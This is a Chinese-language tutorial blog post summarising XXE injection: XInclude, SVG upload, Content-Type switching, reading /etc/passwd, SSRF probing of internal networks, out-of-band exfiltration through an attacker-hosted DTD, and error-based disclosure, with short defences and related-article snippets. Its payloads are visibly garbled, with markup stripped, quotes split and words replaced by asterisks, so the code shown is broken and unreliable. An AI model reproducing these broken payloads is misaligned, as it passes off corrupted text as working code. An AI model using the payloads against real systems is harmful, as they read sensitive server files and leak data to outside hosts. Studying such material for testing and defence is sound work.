XXE外部實體注入漏洞總結

2022-09-22 04:27:06 字數 1765 閱讀 9163

xxe是xml外部實體注入漏洞,應用程式解析xml輸入時,沒有禁止外部實體的載入,導致可載入惡意外部檔案和**,造成任意檔案讀取,命令執行,內網埠掃瞄攻擊內網**等危害。

1. 讀取敏感檔案。

2. 執行ssrf漏洞,進行內網埠探測,攻擊內網**等。

1. xinclude攻擊

一些應用程式接收使用者的資料,在服務端嵌入到xml文件中解析,這時我們無法控制整個xml文件,所以就無法定義或修改doctype元素。xinclede是xml規範的一部分,允許從子文件中構建xml文件,從而進行攻擊。

"

">

"text

" href="

file:///etc/passwd

"/>

2. 利用檔案上傳來進行xxe攻擊

docx和svg等都是基於xml格式,如果影象處理庫支援svg影象,攻擊者可以提交惡意的svg影象,就可以利用檔案上傳執行xxe攻擊。

建立具有xml**的svg影象

<?xml version="

1.0" standalone="

yes"?>"

file:///etc/hostname

" > ]>

將此影象上傳上去。就可以在頭像中看到/etc/hostname檔案的內容。

3. 通過修改請求包的檔案內容型別來進行xxe攻擊

有些應用程式會允許xml的內容型別,我們就可以修改content-type: text/xml欄位,來利用xxe漏洞。

原來的請求體中的內容是:foo=bar

4. 讀取敏感檔案

利用file協議讀取伺服器中的敏感檔案。

<?xml version="

1.0" encoding="

utf-8

"?>

"file:///etc/passwd

"> ]>

&xxe;

5. 執行ssrf攻擊

利用http協議,讓存在xxe漏洞的應用程式向與它處於同一內網的傳送http請求。

"

"> ]>

6. 帶外通道技術來進行盲注xxe

一般情況下,雖然存在xxe漏洞,但是不會回顯外部實體注入的值,我們就要利用帶外通道技術。(oob)

攻擊者在vps中放置惡意的dtd,讓存在漏洞的應用程式去訪問。

惡意dtd(外部實體)內容:訪問可以訪問到改dtd

">

%eval;

%exfiltrate;

向存在漏洞的應用程式中輸入:

%xxe;]>

7. 通過錯誤訊息來讀取檔案

通過觸發xml解析錯誤,在解析錯誤資訊中返回我們需要讀取的敏感資訊。

"

file:///etc/passwd

">

"">

%eval;

%error;

1. 使用開發語言提供的禁用外部實體的方法。

2. 過濾使用者輸入的xml資料中的關鍵字。

3. 不允許xml中有使用者自定義的文件型別。

PHP環境 XML外部實體注入漏洞(XXE)

好好學習,天天向上 libxml2.9.0以後,預設不解析外部實體,導致xxe漏洞逐漸消亡。為了演示php環境下的xxe漏洞,本例會將libxml2.8.0版本編譯進php中。php版本並不影響xxe利用。libxml2.8.0版本 使用vulhub 使用docker啟動 docker compos...

PHP環境XML外部實體注入防禦(XXE)

php 7.0.30 libxml 2.8.0 為了演示php環境下的xxe漏洞,本例將libxml2.8.0版本編譯進php中。php 版本並不影響xxe利用。使用如下命令編譯並啟動環境 cd vulhub php php xxe docker compose up d web目錄如下 tree ...

XML外部實體注入

參考文章 xxe漏洞逐漸走向消亡 libxml 2.9.0 以後 預設不解析外部實體 遂 xxe漏洞逐漸消亡 語法 1.xml元素都必須有關閉標籤。2.xml 標籤對大小寫敏感。3.xml 必須正確地巢狀。4.xml 文件必須有根元素。5.xml 的屬性值須加引號。結構 1.xml 文件宣告,在文件...